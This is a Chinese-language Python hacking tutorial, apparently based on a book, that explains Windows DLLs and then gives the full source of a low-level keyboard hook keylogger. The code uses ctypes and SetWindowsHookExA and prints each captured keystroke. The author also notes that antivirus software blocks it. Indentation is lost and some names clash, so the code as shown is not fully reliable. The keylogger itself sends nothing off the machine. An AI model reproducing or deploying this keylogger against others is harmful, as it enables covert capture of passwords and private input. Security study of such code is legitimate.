@《Python黑客攻防入门》
运行环境:Python 3.7
运行环境推荐使用Python2.7,因为很多的hack程序都是使用2.7版本的,贸然使用最新的版本很可能会有不兼容问题,不过这里还好。
当然,这次的代码只需要把print" "改成print,也就是把print语句的“”去掉就可以在2.7版本上运行。
不过这次的代码在有安装杀毒软件的电脑上无法正常运行,一般来说只要电脑安装了安全键盘就无法正常运行了,在windows10、windows xp上可以正常运行,当然都没有安装杀毒软件什么的。
一些基础知识:在windows中lib是静态库,DLL是动态链接库,win32API大部分以DLL库的形式存在。
一些最具代表性的DLL:
kernel32.dll:提供对文件系统、设备、进程、线程等基本资源的访问过程。
user32.dll:提供用户接口功能,包含创建、管理窗口,接收windows消息, 在屏幕上绘制文本,显示消息框。
advapi32.dll:提供注册表、系统终止与重启、windows服务启动/停止/创建、账户管理等功能。
gdi32.dll:提供对显示器、打印机及其他输出设备的管理功能。
comdlg32.dll:提供文件打开、文件保存、颜色字体选择等标准对话框管理功能。
comctl32.dll:支持应用程序访问操作系统的状态条、进度条、工具条等功能。
shell32.dll:支持应用程序访问操作系统shell提供的功能。
netapi32.dll:支持应用程序访问操作系统提供的各种通信功能。
本次代码是键盘钩取的代码,不包括鼠标活动什么的。
废话不多说,先上代码。
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
# 使用windll
user32 = windll.user32
kernel32 = windll.kernel32
# 变量申明,可通过微软的MSDN获取相关知识
WH_KEYBOARD_LL = 13
WM_KEYDOWM = 0x0100
CTRL_CODE = 162
# 定义有挂钩和拆钩功能的类
class keyLogger:
def __init__(self):
self.lUser32 = user32
self.hooked = None
# 定义挂钩函数
def installHookProc(self, pointer):
self.hooked = self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
return True
# 定义拆钩函数
def uninstallHookProc(self):
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
# 定义函数指针
def getFPTR(fn):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
return CMPFUNC(fn)
# 定义钩子过程(一种回调函数)
def hookProc(nCode, wParam, lParam):
if wParam is not WM_KEYDOWM:
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
hookedKey = chr(lParam[0])
print(hookedKey)
if(CTRL_CODE == int(lParam[0])):
print('Ctrl pressed, call uninstallHook()')
keyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
# 传递消息
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg),0,0,0)
#启动消息钩取
keyLogger = keyLogger()
pointer = getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
print('installed keyLogger')
startKeyLog()